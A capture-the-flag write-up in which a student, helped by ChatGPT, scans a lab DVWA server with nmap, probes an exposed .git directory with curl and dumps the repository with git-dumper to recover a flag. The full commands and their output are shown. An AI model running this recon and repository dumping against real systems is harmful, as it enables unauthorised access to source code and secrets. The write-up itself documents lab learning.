

LLM usage:

ChatGPT 5.2 was used actively for finding the flag.

Nmap was initially used to scan the IP with the given port. The flags used were suggested by ChatGPT.

```
nmap -sV -sC -p8081 100.113.75.28
```

The scan returned a critical vulnerability, an exposed `.git` file. I knew, and ChatGPT confirmed, that reading this file would give tons of info concerning the git directory.

The scan also returned info concerning other paths blocked from indexing, `/admin/`, `/backup/`, `/debug/`. Potentially all critical vulnerabilities, but I chose to go with the `.git` file.

```
phix@DESKTOP-7HKJPQT:~$ nmap -sV -sC -p8081 100.113.75.28
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-27 18:58 CET
Nmap scan report for macbook-pro-julia-2.tail540256.ts.net
(100.113.75.28)
Host is up (0.0077s latency).

PORT      STATE SERVICE VERSION
8081/tcp  open  http    Apache httpd 2.4.65 ((Debian))
| http-cookie-flags:
| /:
|   PHPSESSID:
|_  httponly flag not set
| http-git:
| 100.113.75.28:8081/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file
| 'description' to name the...
| Last commit message: added new rules
| Remotes:
|   https://github.com/JuliaVister/custom-dvwa.git
|_ Project type: PHP application (guessed from .gitignore)
| http-robots.txt: 3 disallowed entries
|_ /admin/ /backup/ /debug/
|_ http-server-header: Apache/2.4.65 (Debian)
|_ http-title: Login :: Damn Vulnerable Web Application (DVWA)
|_ Requested resource was login.php

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.31 seconds
```

.git Repository Exposed

This is the big one:

```
Code
http-git:
100.113.75.28:8081/.git/
Git repository found!
Last commit message: added new rules
Remote:
https://github.com/JuliaVister/custom-dvwa.git
```

This is a **major finding**.

Exposed `.git` directories often allow:

- Full source code download
- Access to commit history
- Deleted files recovery
- Credentials leakage
- Hidden flag discovery

In CTFs, this is very often intentional.

I then tried to confirm access to `.git` by running `curl -I http://100.113.75.28:8081/.git/`. This was denied. I also tried to pull the git library directly. It was not found.

```
phix@DESKTOP-7HKJPQT:~$ curl -I http://100.113.75.28:8081/.git/
HTTP/1.1 403 Forbidden
Date: Fri, 27 Feb 2026 18:00:44 GMT
Server: Apache/2.4.65 (Debian)
Content-Type: text/html; charset=iso-8859-1

phix@DESKTOP-7HKJPQT:~$ git clone http://100.113.75.28:8081/.git/
Cloning into '100.113.75.28'...
fatal: repository 'http://100.113.75.28:8081/.git/' not found
```

I then tried `curl -I http://100.113.75.28:8081/.git/` and `curl http://100.113.75.28:8081/.git/HEAD`. Which returned a lot more data.

```
phix@DESKTOP-7HKJPQT:~$ curl -I http://100.113.75.28:8081/.git/HEAD
HTTP/1.1 200 OK
Date: Fri, 27 Feb 2026 18:01:41 GMT
Server: Apache/2.4.65 (Debian)
Last-Modified: Thu, 04 Dec 2025 15:57:04 GMT
ETag: "17-64522615193e0"
Accept-Ranges: bytes
Content-Length: 23

phix@DESKTOP-7HKJPQT:~$ curl http://100.113.75.28:8081/.git/HEAD
ref: refs/heads/tweaks
```

ChatGPT was pleased.

That means:

- ✓ The `.git` directory is accessible
- ✓ The active branch is `tweaks`
- ✓ Apache blocks directory listing, but not file retrieval
- ✓ The repository can likely be reconstructed

This is classic "exposed .git but 403 on index" misconfiguration.

Following a suggestion from ChatGPT, I used the tool *git-dumper* to download what I could of the git repository. The whole repo was stored on the site statically, so this was just a matter of downloading it using HTTP.

After the repo was downloaded, I just looked at the files, and that's where I found the flag. The flag was: `FLAG{INITIAL_FOOTHOLD_ACHIEVED}`

```
phix@DESKTOP-7HKJPQT:~/dumped_repo$ ls -la
total 76
drwxr-xr-x 12 phix phix 4096 Feb 27 19:04 .
drwxr-x--- 50 phix phix 4096 Feb 27 19:05 ..
drwxr-xr-x  7 phix phix 4096 Feb 27 19:05 .git
drwxr-xr-x  4 phix phix 4096 Feb 27 19:04 .github
-rw-r--r--  1 phix phix 1510 Feb 27 19:04 Dockerfile
drwxr-xr-x  2 phix phix 4096 Feb 27 19:04 config
drwxr-xr-x  2 phix phix 4096 Feb 27 19:04 database
-rw-r--r--  1 phix phix  538 Feb 27 19:04 docker-compose.yml
drwxr-xr-x  3 phix phix 4096 Feb 27 19:04 docs
drwxr-xr-x  6 phix phix 4096 Feb 27 19:04 dvwa
drwxr-xr-x  3 phix phix 4096 Feb 27 19:04 external
-rw-r--r--  1 phix phix   32 Feb 27 19:04 flag.txt
drwxr-xr-x  4 phix phix 4096 Feb 27 19:04 hackable
-rw-r--r--  1 phix phix 3205 Feb 27 19:04 index.php
-rwxr-xr-x  1 phix phix 1048 Feb 27 19:04 reset_thesis_env.sh
-rw-r--r--  1 phix phix   84 Feb 27 19:04 robots.txt
-rw-r--r--  1 phix phix 2508 Feb 27 19:04 security.php
drwxr-xr-x  2 phix phix 4096 Feb 27 19:04 tests
drwxr-xr-x 21 phix phix 4096 Feb 27 19:04 vulnerabilities
phix@DESKTOP-7HKJPQT:~/dumped_repo$ cat flag.txt
FLAG{INITIAL_FOOTHOLD_ACHIEVED}
```